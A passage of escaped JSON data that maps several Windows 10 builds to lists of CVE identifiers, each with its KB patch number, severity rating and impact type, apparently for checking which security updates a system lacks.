Privilege\"},{\"cve\":\"CVE-2019-1476\",\"kb\":\"4530717\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534293\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4537762\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4540689\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4550922\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556807\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556807\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4571709\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4571709\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003174\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003174\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1732\",\"kb\":\"4601354\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-26863\",\"kb\":\"5000809\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-27094\",\"kb\":\"5001339\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-28447\",\"kb\":\"5001339\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"}],\"Windows 10 Version 1803 for x64-based Systems\":[{\"cve\":\"CVE-2018-0824\",\"kb\":\"4103721\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0886\",\"kb\":\"4103721\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0952\",\"kb\":\"4343909\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0982\",\"kb\":\"4284835\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8174\",\"kb\":\"4103721\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8208\",\"kb\":\"4284835\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8214\",\"kb\":\"4284835\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8410\",\"kb\":\"4457128\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4462919\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4462919\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8440\",\"kb\":\"4457128\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4462919\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8495\",\"kb\":\"4462919\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467702\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467702\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8584\",\"kb\":\"4467702\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8897\",\"kb\":\"4103721\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0552\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0555\",\"kb\":\"4487017\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0570\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0571\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0572\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0573\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0574\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0841\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1069\",\"kb\":\"4503286\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1322\",\"kb\":\"4520008\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1476\",\"kb\":\"4530717\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534293\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4537762\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4540689\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4550922\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556807\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556807\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4571709\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4571709\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003174\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003174\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1732\",\"kb\":\"4601354\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-26863\",\"kb\":\"5000809\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-27094\",\"kb\":\"5001339\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-28447\",\"kb\":\"5001339\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"}],\"Windows 10 Version 1809 for 32-bit Systems\":[{\"cve\":\"CVE-2018-0886\",\"kb\":\"4551853\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4464330\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4464330\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4464330\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467708\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467708\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8584\",\"kb\":\"4467708\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0552\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0555\",\"kb\":\"4487044\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0570\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0571\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0572\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0573\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0574\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0841\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1069\",\"kb\":\"4503327\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1322\",\"kb\":\"4519338\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1476\",\"kb\":\"4530715\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534273\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4532691\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4538461\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4549949\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4551853\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4551853\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4565349\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4565349\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003171\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003171\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003646\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-1732\",\"kb\":\"4601345\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-22947\",\"kb\":\"5009557\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-24091\",\"kb\":\"4601345\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26863\",\"kb\":\"5000822\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-27094\",\"kb\":\"5001342\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-28447\",\"kb\":\"5001342\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-34527\",\"kb\":\"5004947\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005568\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006672\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2022-27776\",\"kb\":\"5015811\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014692\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2022-32230\",\"kb\":\"5013945\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2022-35737\",\"kb\":\"5034127\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2023-20569\",\"kb\":\"5029247\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025229\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-31096\",\"kb\":\"5073723\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-36874\",\"kb\":\"5028168\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-38039\",\"kb\":\"5032196\",\"severity\":\"Low\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-44487\",\"kb\":\"5031361\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2024-21338\",\"kb\":\"5034768\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041578\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043050\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048661\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-6197\",\"kb\":\"5044277\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2024-7344\",\"kb\":\"5050008\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-24054\",\"kb\":\"5053596\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24071\",\"kb\":\"5053596\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053596\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053596\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055519\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058392\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058392\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5060531\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-47827\",\"kb\":\"5066586\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-47981\",\"kb\":\"5062557\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-48799\",\"kb\":\"5062557\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063877\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063877\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows 10 Version 1809 for ARM64-based Systems\":[{\"cve\":\"CVE-2018-0886\",\"kb\":\"4551853\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467708\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467708\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8584\",\"kb\":\"4467708\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0552\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0555\",\"kb\":\"4487044\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0570\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0571\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0572\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0573\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0574\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0841\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1069\",\"kb\":\"4503327\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1322\",\"kb\":\"4519338\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1476\",\"kb\":\"4530715\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534273\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4532691\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4538461\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4549949\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4551853\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4551853\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4565349\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4565349\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003171\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003171\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003646\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-1732\",\"kb\":\"4601345\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-22947\",\"kb\":\"5009557\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-24091\",\"kb\":\"4601345\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26863\",\"kb\":\"5000822\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-27094\",\"kb\":\"5001342\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-28447\",\"kb\":\"5001342\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-34527\",\"kb\":\"5004947\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005568\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006672\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2022-27776\",\"kb\":\"5015811\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014692\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2022-32230\",\"kb\":\"5013941\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2022-35737\",\"kb\":\"5034127\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2023-20569\",\"kb\":\"5029247\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025229\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-36874\",\"kb\":\"5028168\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-38039\",\"kb\":\"5032196\",\"severity\":\"Low\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-44487\",\"kb\":\"5031361\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2024-21338\",\"kb\":\"5034768\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows 10 Version 1809 for x64-based Systems\":[{\"cve\":\"CVE-2018-0886\",\"kb\":\"4551853\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4464330\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4464330\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4464330\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467708\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467708\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8584\",\"kb\":\"4467708\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0552\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0555\",\"kb\":\"4487044\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0570\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0571\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0572\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0573\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0574\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0841\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1069\",\"kb\":\"4503327\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1322\",\"kb\":\"4519338\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1476\",\"kb\":\"4530715\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534273\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4532691\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4538461\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4549949\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4551853\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4551853\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4565349\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4565349\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003171\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003171\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003646\",\"severity\":\"Critical\",\"impact\":\"Remote Code 